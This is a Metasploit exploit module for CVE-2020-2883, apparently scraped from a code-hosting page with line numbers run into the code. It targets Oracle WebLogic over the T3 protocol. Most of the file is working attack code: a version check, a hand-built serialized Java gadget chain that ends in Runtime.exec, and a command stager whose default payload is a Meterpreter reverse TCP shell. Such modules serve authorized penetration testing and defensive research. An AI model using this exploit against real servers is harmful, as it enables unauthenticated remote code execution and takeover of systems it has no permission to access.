Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Powershell11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp',18'Description' => %q{19There exists a Java object deserialization vulnerability20in multiple versions of WebLogic.2122Unauthenticated remote code execution can be achieved by23sending a serialized `BadAttributeValueExpException`24object over the T3 protocol to vulnerable versions of25WebLogic. Leveraging an `ExtractorComparator` enables26the ability to trigger `method.invoke()`, which will27execute arbitrary code.28},29'License' => MSF_LICENSE,30'Author' => [31'Quynh Le', # Vulnerability Discovery32'Y4er', # PoC33'Shelby Pace', # Metasploit Module34'Steve Embling' # T3S additions35],36'References' => [37[ 'CVE', '2020-2883' ],38[ 'URL', 'https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild' ],39],40'Platform' => %w[unix linux win],41'Arch' => [ ARCH_X86, ARCH_X64 ],42'Privileged' => false,43'Targets' => [44[45'Windows',46{47'Platform' => 'win',48'Arch' => [ ARCH_X86, ARCH_X64 ],49'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }50}51],52[53'Unix',54{55'Platform' => %w[unix linux],56'CmdStagerFlavor' => 'printf',57'Arch' => [ ARCH_X86, ARCH_X64 ],58'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }59}60],61],62'DisclosureDate' => '2020-04-30',63'DefaultTarget' => 0,64'Notes' => {65'Reliability' => [REPEATABLE_SESSION],66'Stability' => [CRASH_SAFE],67'SideEffects' => [IOC_IN_LOGS]68}69)70)7172register_options([73Opt::RPORT(7001),74])7576register_advanced_options([77OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])78])79end8081def check82connect8384web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"85sock.put(web_req)86sleep(2)87res = sock.get8889versions =90[91Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'),92Rex::Version.new('12.2.1.4.0')93]9495return CheckCode::Unknown('Failed to obtain response from service') unless res9697/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res98return CheckCode::Unknown('Failed to detect WebLogic') unless version99100@version_no = Rex::Version.new(version)101print_status("WebLogic version detected: #{@version_no}")102103return CheckCode::Appears if versions.include?(@version_no)104105CheckCode::Detected('Version of WebLogic is not vulnerable')106ensure107disconnect108end109110def exploit111connect112print_status('Sending handshake...')113t3_handshake114115if target.name == 'Windows'116win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })117win_obj.prepend('cmd.exe /c ')118win_obj = build_payload_obj(win_obj)119t3_send(win_obj)120else121execute_cmdstager122end123ensure124disconnect125end126127def t3_handshake128# t3 12.2.1\nAS:255129# \nHL:19\nMS:100000130# 00\n\n131if !datastore['SSL'] || datastore['FORCE_T3']132shake = '7433'133else134shake = '743373'135end136shake << '2031322e322e310a41533a323535'137shake << '0a484c3a31390a4d533a313030303030'138shake << '30300a0a'139140sock.put([shake].pack('H*'))141sleep(1)142sock.get_once143end144145def build_payload_obj(payload_data)146payload_obj = 'aced0005' # STREAM_MAGIC, STREAM_VERSION147payload_obj << '73720017' # TC_OBJECT, TC_CLASSDESC, class name length: 23148payload_obj << '6a6176612e7574696c2e5072696f726974795175657565' # java.util.PriorityQueue149payload_obj << '94da30b4fb3f82b1' # SerialVersionUID150payload_obj << '030002' # 2 fields151payload_obj << '490004' # Integer, field name length: 4152payload_obj << '73697a65' # size153payload_obj << '4c000a' # Object, field name length: 10154payload_obj << '636f6d70617261746f72' # comparator155payload_obj << '740016' # String, field name length: 22156payload_obj << '4c6a6176612f7574696c2f436f6d70617261746f723b' # Ljava/util/Comparator;157payload_obj << '7870'158payload_obj << '00000002'159payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC160payload_obj << '0030' # Class name length: 48161payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e636f' # com.tangosol.util.comparator.ExtractorComparator162payload_obj << '6d70617261746f722e457874726163746f72436f'163payload_obj << '6d70617261746f72'164payload_obj << extractor_comp_uid # SerialVersionUID165payload_obj << '020001' # Serializable, 1 field166payload_obj << '4c000b' # Object, field name length: 11167payload_obj << '6d5f657874726163746f72' # m_extractor168payload_obj << '740022'169payload_obj << '4c636f6d2f74616e676f736f6c2f7574696c2f56' # Lcom/tangosol/util/ValueExtractor;170payload_obj << '616c7565457874726163746f723b'171payload_obj << '7870'172payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC173payload_obj << '002c' # Class name length: 44174payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ChainedExtractor175payload_obj << '74726163746f722e436861696e65644578747261'176payload_obj << '63746f72'177payload_obj << chained_extractor_uid # SerialVersionUID178payload_obj << '020000'179payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC180payload_obj << '0036' # Class name length: 54181payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractCompositeExtractor182payload_obj << '74726163746f722e4162737472616374436f6d70'183payload_obj << '6f73697465457874726163746f72'184payload_obj << '086b3d8c05690f44' # SerialVersionUID185payload_obj << '020001' # Serializable, 1 field186payload_obj << '5b000c' # array, length: 12187payload_obj << '6d5f61457874726163746f72' # m_aExtractor188payload_obj << '740023' # String, length: 35189payload_obj << '5b4c636f6d2f74616e676f736f6c2f7574696c2f' # [Lcom/tangosol/util/ValueExtractor;190payload_obj << '56616c7565457874726163746f723b'191payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC192payload_obj << '002d' # Class name length: 45193payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractExtractor194payload_obj << '74726163746f722e416273747261637445787472'195payload_obj << '6163746f72'196payload_obj << abstract_extractor_uid # SerialVersionUID197payload_obj << '020001' # Serializable, 1 field198payload_obj << '490009' # Integer, field name length: 9199payload_obj << '6d5f6e546172676574' # m_nTarget200payload_obj << '7870'201payload_obj << '00000000'202payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC203payload_obj << '0023' # Class name length: 35204payload_obj << '5b4c636f6d2e74616e676f736f6c2e7574696c2e' # [Lcom.tangosol.util.ValueExtractor;205payload_obj << '56616c7565457874726163746f723b'206payload_obj << '2246204735c4a0fe' # SerialVersionUID207payload_obj << '020000'208payload_obj << '7870'209payload_obj << '00000003'210payload_obj << '7372'211payload_obj << '002f' # Class name length: 47212payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ReflectionExtractor213payload_obj << '74726163746f722e5265666c656374696f6e4578'214payload_obj << '74726163746f72'215payload_obj << reflection_extractor_uid # SerialVersionUID216payload_obj << '02000' # Serializable217payload_obj << reflect_extract_count218payload_obj << '5b0009' # array, length: 9219payload_obj << '6d5f616f506172616d' # m_aoParam220payload_obj << '740013' # String, length: 19221payload_obj << '5b4c6a6176612f6c616e672f4f626a6563743b' # [Ljava/lang/Object;222payload_obj << add_sect223payload_obj << '4c0009' # Object, length: 9224payload_obj << '6d5f734d6574686f64' # m_sMethod225payload_obj << '740012' # String, length: 18226payload_obj << '4c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;227payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE228payload_obj << '007e0009' # handle229payload_obj << '00000000'230payload_obj << '7572'231payload_obj << '0013' # Class name length: 19232payload_obj << '5b4c6a6176612e6c616e672e4f626a6563743b' # [Ljava.lang.Object;233payload_obj << '90ce589f1073296c' # SerialVersionUID234payload_obj << '020000'235payload_obj << '7870'236payload_obj << '00000002'237payload_obj << '74000a' # String, length: 10238payload_obj << '67657452756e74696d65' # getRuntime239payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC240payload_obj << '0012' # Class name length: 18241payload_obj << '5b4c6a6176612e6c616e672e436c6173733b' # [Ljava.lang.Class;242payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID243payload_obj << '020000' # Serializable, no fields244payload_obj << '7870'245payload_obj << '00000000'246payload_obj << add_tc_null247payload_obj << '740009' # String, length: 9248payload_obj << '6765744d6574686f64' # getMethod249payload_obj << '7371'250payload_obj << '007e000d' # handle251payload_obj << '00000000'252payload_obj << '7571'253payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle254payload_obj << '00000002'255payload_obj << '707571'256payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle257payload_obj << '00000000'258payload_obj << add_tc_null259payload_obj << '740006' # String, length: 6260payload_obj << '696e766f6b65' # invoke261payload_obj << '7371'262payload_obj << '007e000d' # handle263payload_obj << '00000000'264payload_obj << '7571'265payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle266payload_obj << '00000001'267payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC268payload_obj << '0013' # Class name length: 19269payload_obj << '5b4c6a6176612e6c616e672e537472696e673b' # [Ljava.lang.String;270payload_obj << 'add256e7e91d7b47' # SerialVersionUID271payload_obj << '020000'272payload_obj << '7870'273payload_obj << '00000003'274275payload_bin = format_payload(payload_data)276payload_obj << payload_bin277278payload_obj << add_tc_null279payload_obj << '740004'280payload_obj << '65786563' # exec281payload_obj << '7704'282payload_obj << '00000003'283payload_obj << '76720011'284payload_obj << '6a6176612e6c616e672e52756e74696d65' # java.lang.Runtime285payload_obj << '0000000000000000000000'286payload_obj << '7870'287payload_obj << '740001'288payload_obj << '3178'289end290291def extractor_comp_uid292case @version_no293when Rex::Version.new('12.1.3.0.0')294'c7ad6d3a676f3c18'295when Rex::Version.new('12.2.1.3.0')296'fb4ac83df1d72edc'297else298'f9b3bc58cc52cd21'299end300end301302def change_handle?303@version_no == Rex::Version.new('12.2.1.3.0')304end305306def chained_extractor_uid307case @version_no308when Rex::Version.new('12.1.3.0.0')309'889f81b0945d5b7f'310when Rex::Version.new('12.2.1.3.0')311'06ee10433a4cc4b4'312else313'435b250b72f63db5'314end315end316317def abstract_extractor_uid318case @version_no319when Rex::Version.new('12.1.3.0.0')320'658195303e723821'321when Rex::Version.new('12.2.1.3.0')322'752289ad4d460138'323else324'9b1be18ed70100e5'325end326end327328def reflection_extractor_uid329case @version_no330when Rex::Version.new('12.1.3.0.0')331'ee7ae995c02fb4a2'332when Rex::Version.new('12.2.1.3.0')333'87973791b26429dd'334else335'1f62f564b951b614'336end337end338339def reflect_extract_count340case @version_no341when Rex::Version.new('12.2.1.3.0')342'3'343else344'2'345end346end347348def add_sect349sect = ''350351if @version_no == Rex::Version.new('12.2.1.3.0')352sect << '4c0011' # Object, length: 17353sect << '6d5f657874726163746f' # m_extractorCached354sect << '72436163686564'355sect << '740012'356sect << '4c6a6176612f6c616e67' # Ljava/lang/Object;357sect << '2f4f626a6563743b'358end359360sect361end362363def add_tc_null364return '70' if @version_no == Rex::Version.new('12.2.1.3.0')365366''367end368369def t3_send(payload_obj)370print_status('Sending object...')371372request_obj = '000009f3' # Original packet length373request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags374request_obj << 'ffffffffffffffff'375request_obj << '00000071'376request_obj << '0000ea60'377request_obj << '00000018432ec6'378request_obj << 'a2a63985b5af7d63e643'379request_obj << '83f42a6d92c9e9af0f94'380request_obj << '72027973720078720178'381request_obj << '720278700000000c0000'382request_obj << '00020000000000000000'383request_obj << '00000001007070707070'384request_obj << '700000000c0000000200'385request_obj << '00000000000000000000'386request_obj << '01007006'387request_obj << 'fe010000' # separator388request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION389request_obj << '7372' # TC_OBJECT, TC_CLASSDESC390request_obj << '001d' # Class name length: 29391request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry392request_obj << '6a766d2e436c61737354'393request_obj << '61626c65456e747279'394request_obj << '2f52658157f4f9ed' # SerialVersionUID395request_obj << '0c0000' # flags?396request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC397request_obj << '0024' # Class name length: 36398request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo399request_obj << '6f6d6d6f6e2e696e7465'400request_obj << '726e616c2e5061636b61'401request_obj << '6765496e666f'402request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID403request_obj << '020009' # Serializable, 9 fields404request_obj << '490005' # Field type: Int, field name length: 5405request_obj << '6d616a6f72' # major406request_obj << '490005' # Field type: Int, field name length: 5407request_obj << '6d696e6f72' # minor408request_obj << '49000b' # Field type: Int, field name length: 11409request_obj << '70617463685570646174' # patchUpdate410request_obj << '65'411request_obj << '49000c' # Field type: Int, field name length: 12412request_obj << '726f6c6c696e67506174' # rollingPatch413request_obj << '6368'414request_obj << '49000b' # Field type: Int, field name length: 11415request_obj << '73657276696365506163' # servicePack416request_obj << '6b'417request_obj << '5a000e' # Field type: Z = Bool, field name length: 14418request_obj << '74656d706f7261727950' # temporaryPatch419request_obj << '61746368'420request_obj << '4c0009' # Field type: Object, field name length: 9421request_obj << '696d706c5469746c65' # implTitle422request_obj << '740012' # String, length: 18423request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;424request_obj << '2f537472696e673b'425request_obj << '4c000a' # Field type: Object, field name length: 10426request_obj << '696d706c56656e646f72' # implVendor427request_obj << '71007e0003' # TC_REFERENCE, handle428request_obj << '4c000b' # Field type: Object, field name length: 11429request_obj << '696d706c56657273696f6e' # implVersion430request_obj << '71007e0003' # TC_REFERENCE, handle431request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL432request_obj << '7702' # TC_ENDBLOCKDATA433request_obj << '000078'434request_obj << 'fe010000' # separator435436request_obj << payload_obj437438request_obj << 'fe010000' # separator439request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION440request_obj << '7372' # TC_OBJECT, TC_CLASSDESC441request_obj << '001d' # Class name length: 29442request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry443request_obj << '6a766d2e436c61737354'444request_obj << '61626c65456e747279'445request_obj << '2f52658157f4f9ed' # SerialVersionUID446request_obj << '0c0000'447request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC448request_obj << '0021' # Class name length: 33449request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo450request_obj << '6f6d6d6f6e2e696e7465'451request_obj << '726e616c2e5065657249'452request_obj << '6e666f'453request_obj << '585474f39bc908f1' # SerialVersionUID454request_obj << '020007' # Serializable, 7 fields455request_obj << '490005' # Field type: Int, field name length: 5456request_obj << '6d616a6f72' # major457request_obj << '490005' # Field type: Int, field name length: 5458request_obj << '6d696e6f72' # minor459request_obj << '49000b' # Field type: Int, field name length: 11460request_obj << '70617463685570646174' # patchUpdate461request_obj << '65'462request_obj << '49000c' # Field type: Int, field name length: 12463request_obj << '726f6c6c696e67506174' # rollingPatch464request_obj << '6368'465request_obj << '49000b' # Field type: Int, field name length: 11466request_obj << '73657276696365506163' # servicePack467request_obj << '6b'468request_obj << '5a000e' # Field type: Z = Bool, field name length: 14469request_obj << '74656d706f7261727950' # temporaryPatch470request_obj << '61746368'471request_obj << '5b0008' # Field type: Array, field name length: 8472request_obj << '7061636b61676573' # packages473request_obj << '740027' # String, length: 39474request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;475request_obj << '2f636f6d6d6f6e2f696e'476request_obj << '7465726e616c2f506163'477request_obj << '6b616765496e666f3b'478request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC479request_obj << '0024' # Class name length: 36480request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo481request_obj << '6f6d6d6f6e2e696e7465'482request_obj << '726e616c2e5665727369'483request_obj << '6f6e496e666f'484request_obj << '972245516452463e' # SerialVersionUID485request_obj << '020003' # Serializable, 3 fields486request_obj << '5b0008' # Field type: Array, field name length: 8487request_obj << '7061636b61676573' # packages488request_obj << '71007e0003' # TC_REFERENCE, handle489request_obj << '4c000e' # Field type: Object, field name length: 14490request_obj << '72656c65617365566572' # releaseVersion491request_obj << '73696f6e'492request_obj << '740012' # String, length: 18493request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;494request_obj << '2f537472696e673b'495request_obj << '5b0012' # Field type: Array, field name length: 18496request_obj << '76657273696f6e496e66' # versionInfoAsBytes497request_obj << '6f41734279746573'498request_obj << '740002' # String, length: 2499request_obj << '5b42' # [B500request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC501request_obj << '0024' # Class name length: 36502request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo503request_obj << '6f6d6d6f6e2e696e7465'504request_obj << '726e616c2e5061636b61'505request_obj << '6765496e666f'506request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID507request_obj << '020009' # Serializable, 9 fields508request_obj << '490005' # Field type: Int, field name length: 5509request_obj << '6d616a6f72' # major510request_obj << '490005' # Field type: Int, field name length: 5511request_obj << '6d696e6f72' # minor512request_obj << '49000b' # Field type: Int, field name length: 11513request_obj << '70617463685570646174' # patchUpdate514request_obj << '65'515request_obj << '49000c' # Field type: Int, field name length: 12516request_obj << '726f6c6c696e67506174' # rollingPatch517request_obj << '6368'518request_obj << '49000b' # Field type: Int, field name length: 11519request_obj << '73657276696365506163' # servicePack520request_obj << '6b'521request_obj << '5a000e' # Field type: Z = Bool, field name length: 14522request_obj << '74656d706f7261727950' # temporaryPatch523request_obj << '61746368'524request_obj << '4c0009' # Field type: Object, field name length: 9525request_obj << '696d706c5469746c65' # implTitle526request_obj << '71007e0005' # TC_REFERENCE, handle527request_obj << '4c000a' # Field type: Object, field name length: 10528request_obj << '696d706c56656e646f72' # implVendor529request_obj << '71007e0005' # TC_REFERENCE, handle530request_obj << '4c000b' # Field type: Object, field name length: 11531request_obj << '696d706c56657273696f' # implVersion532request_obj << '6e'533request_obj << '71007e0005' # TC_REFERENCE, handle534request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL535request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA536request_obj << 'fe00ff' # separator537request_obj << 'fe010000'538request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION539request_obj << '7372' # TC_OBJECT, TC_CLASSDESC540request_obj << '0013' # Class name length: 19541request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID542request_obj << '6a766d2e4a564d4944'543request_obj << 'dc49c23ede121e2a' # SerialVersionUID544request_obj << '0c0000'545request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA546request_obj << '4621'547request_obj << '000000000000000000'548request_obj << '09' # length: 9549request_obj << '3132372e302e312e31' # 127.0.1.1550request_obj << '000b' # length: 11551request_obj << '75732d6c2d627265656e' # us-l-breens552request_obj << '73'553request_obj << 'a53caff10000000700'554request_obj << '001b59'555request_obj << 'ffffffffffffffffffff'556request_obj << 'ffffffffffffffffffff'557request_obj << 'ffffffff'558request_obj << '0078'559request_obj << 'fe010000' # separator560request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION561request_obj << '7372' # TC_OBJECT, TC_CLASSDESC562request_obj << '0013' # Class name length: 19563request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID564request_obj << '6a766d2e4a564d4944'565request_obj << 'dc49c23ede121e2a' # SerialVersionUID566request_obj << '0c0000'567request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA568request_obj << '1d0181401281'569request_obj << '34bf427600093132372e'570request_obj << '302e312e31a53caff1'571request_obj << '000000000078'572573new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')574request_obj[0, 8] = new_len575576sock.put([request_obj].pack('H*'))577sleep(1)578end579580def format_payload(payload_cmd)581print_status('Formatting payload...')582payload_arr = payload_cmd.split(' ', 3)583584formatted_payload = ''585payload_arr.each do |part|586formatted_payload << '74' # denotes a string587formatted_payload << part.length.to_s(16).rjust(4, '0')588formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join589end590591formatted_payload592end593594def execute_command(cmd, _opts = {})595cmd.prepend('/bin/sh -c ')596cmd = build_payload_obj(cmd)597598t3_send(cmd)599end600end601602603